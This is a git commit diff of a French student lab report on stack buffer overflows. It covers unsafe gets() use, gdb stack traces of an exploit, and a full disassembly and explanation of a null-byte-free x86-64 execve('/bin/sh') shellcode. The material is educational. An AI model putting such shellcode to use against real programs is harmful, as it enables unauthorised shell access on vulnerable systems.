Work on question 3 and 4
This commit is contained in:
parent
2a4a11be20
commit
d58645151a
1 changed files with 97 additions and 7 deletions
|
@ -16,11 +16,19 @@ notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
|
|||
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
|
||||
variables associées.
|
||||
|
||||
En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0;
|
||||
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`
|
||||
|
||||
## Partie 2
|
||||
|
||||
### question 1 et 2
|
||||
|
||||
Effectivement le code vu en cours est repris dans cet exemple. Nous sommes
|
||||
Le code d'`anodin` contient l'appel à `gets`. Cette fonction est déconseillée
|
||||
car elle ne prend pas en paramètres **le nombre d'octets maximal à lire**. Il
|
||||
est ainsi aiser de réaliser une attaque par **dépassement de tampon**:
|
||||
L'utilisateur saisie plus de donnée que la taille de la variable qui les reçoit.
|
||||
|
||||
Pour `exploit`, le code vu en cours est repris dans cet exemple. Nous sommes
|
||||
cependant en présence de code *C* avec du code assembleur directement écrit en
|
||||
*hexadécimal*.
|
||||
|
||||
|
@ -29,9 +37,7 @@ présence d'une macro afin de positionner les instructions adaptée dans la
|
|||
variable `exploit`:
|
||||
|
||||
```c
|
||||
|
||||
unsigned char exploit[1024] = {
|
||||
|
||||
#ifdef __x86_64__
|
||||
/* 64 bit version */
|
||||
// [...]
|
||||
|
@ -47,7 +53,7 @@ unsigned char exploit[1024] = {
|
|||
|
||||
### question 4
|
||||
|
||||
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons
|
||||
Lors de l'execution de notre attaque en l'observant avec gdb, nous pouvons
|
||||
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
||||
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
||||
|
||||
|
@ -128,7 +134,7 @@ mettent alors en places.
|
|||
0x7fffffffe480 0x0000000000000003
|
||||
```
|
||||
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
|
||||
diférentes parties sont délimitées par des crochets:
|
||||
différentes parties sont délimitées par des crochets:
|
||||
```
|
||||
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
|
||||
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
|
||||
|
@ -144,9 +150,10 @@ diférentes parties sont délimitées par des crochets:
|
|||
|
||||
Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
|
||||
mise en place des arguments de notre appel système dans les différents
|
||||
registres, notamment *0x3b* dans `rax`.
|
||||
registres, notamment *0x3b* dans `rax` et le chemin complets vers `sh` depuis
|
||||
la pile vers `%rdi`
|
||||
|
||||
## question 3
|
||||
## Partie 3
|
||||
|
||||
Lors de l'exécution du `strace` sur notre exécutable `shellcode` nous voyons
|
||||
bien apparaitre les deux appels systèmes `creat` et `exit`:
|
||||
|
@ -193,3 +200,86 @@ par `objdump`. Et en plus on évite les erreurs de saisie.
|
|||
Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa
|
||||
compilation et son execution, le fichier `/tmp/pwn` est bien créé.
|
||||
|
||||
## Partie 4
|
||||
|
||||
Voici le code assembleur obtenu d'après les opcodes:
|
||||
|
||||
```asm
|
||||
xor %eax,%eax
|
||||
movabs $0xff978cd091969dd1,%rbx
|
||||
neg %rbx
|
||||
push %rbx
|
||||
push %rsp
|
||||
pop %rdi
|
||||
cltd
|
||||
push %rdx
|
||||
push %rdi
|
||||
push %rsp
|
||||
pop %rsi
|
||||
mov $0x3b,%al
|
||||
syscall
|
||||
```
|
||||
|
||||
Notre shellcode commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
|
||||
exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci
|
||||
est en fait une chaine de caractère qui sera dévoilée lors de la prochaine
|
||||
instruction.
|
||||
|
||||
Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`.
|
||||
Cette instrution réalise un complément à deux sur le registre en paramètre.
|
||||
|
||||
`%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile.
|
||||
|
||||
Le contenu pointé par le pointeur de pile (l'adresse de notre chaine)
|
||||
est passé au registre `%rdi` et la pile remonte d'un cran (`pop`).
|
||||
|
||||
Le mnémonique `cltd` transforme étends le bit de poid fort d'`%eax` dans `%edx`.
|
||||
Il est question ici d'initialiser `%edx` à 0.
|
||||
|
||||
`%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile.
|
||||
Voici d'ailleur à quoi ressemble cette dernière:
|
||||
|
||||
```
|
||||
[...]
|
||||
0x7fffffffe538 0x0068732f6e69622f
|
||||
0x7fffffffe530 0x0000000000000000
|
||||
0x7fffffffe528 0x00007fffffffe538
|
||||
0x7fffffffe520 sp 0x00007fffffffe528
|
||||
[...]
|
||||
```
|
||||
Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel
|
||||
est lance avec `syscall`. voici l'état des registres au moment de notre
|
||||
`syscall` :
|
||||
|
||||
```
|
||||
rax 0x3b 59
|
||||
rbx 0x68732f6e69622f 29400045130965551
|
||||
rcx 0x0 0
|
||||
rdx 0x0 0
|
||||
rsi 0x7fffffffe528 140737488348456
|
||||
rdi 0x7fffffffe538 140737488348472
|
||||
rbp 0x0 0x0
|
||||
rsp 0x7fffffffe528 0x7fffffffe528
|
||||
```
|
||||
|
||||
Et l'état de notre pile :
|
||||
|
||||
```
|
||||
[...]
|
||||
0x7fffffffe548 0x00007fffffffe87d
|
||||
0x7fffffffe540 0x0000000000000001
|
||||
0x7fffffffe538 0x0068732f6e69622f
|
||||
0x7fffffffe530 0x0000000000000000
|
||||
0x7fffffffe528 sp 0x00007fffffffe538
|
||||
0x7fffffffe520 0x00007fffffffe528
|
||||
[...]
|
||||
```
|
||||
|
||||
Notre shellcode lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
|
||||
système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de
|
||||
`/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des
|
||||
arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par
|
||||
`%rdx` : 0.
|
||||
|
||||
Dasn ce shellcode, tout est fait pour ne pas avoir de caractère `/0` et `/n`
|
||||
afin de passer `gets` et `strcpy`.
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue